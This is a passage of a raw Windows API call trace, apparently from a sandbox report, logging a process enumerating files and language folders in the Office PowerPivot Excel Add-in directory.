ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0228.714] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0228.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0228.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0228.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0228.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in", lpFilePart=0x0) returned 0x4e [0228.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0228.715] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClientUI.dll", cAlternateFileName="MIF69D~1.DLL")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17bc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.dll", cAlternateFileName="MI6388~1.DLL")) returned 1 [0228.716] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1af090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.dll", cAlternateFileName="MI8069~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60f38e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60f38e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.XmlSerializers.dll", cAlternateFileName="MI37F3~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18d33e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18d33e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18d33e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x664698, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.XmlSerializers.dll", cAlternateFileName="MI3E9C~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.dll", cAlternateFileName="MIA386~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Modeler.UI.rll", cAlternateFileName="MICROS~1.RLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MI4938~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4bc999b, ftCreationTime.dwHighDateTime=0x1d327e7, 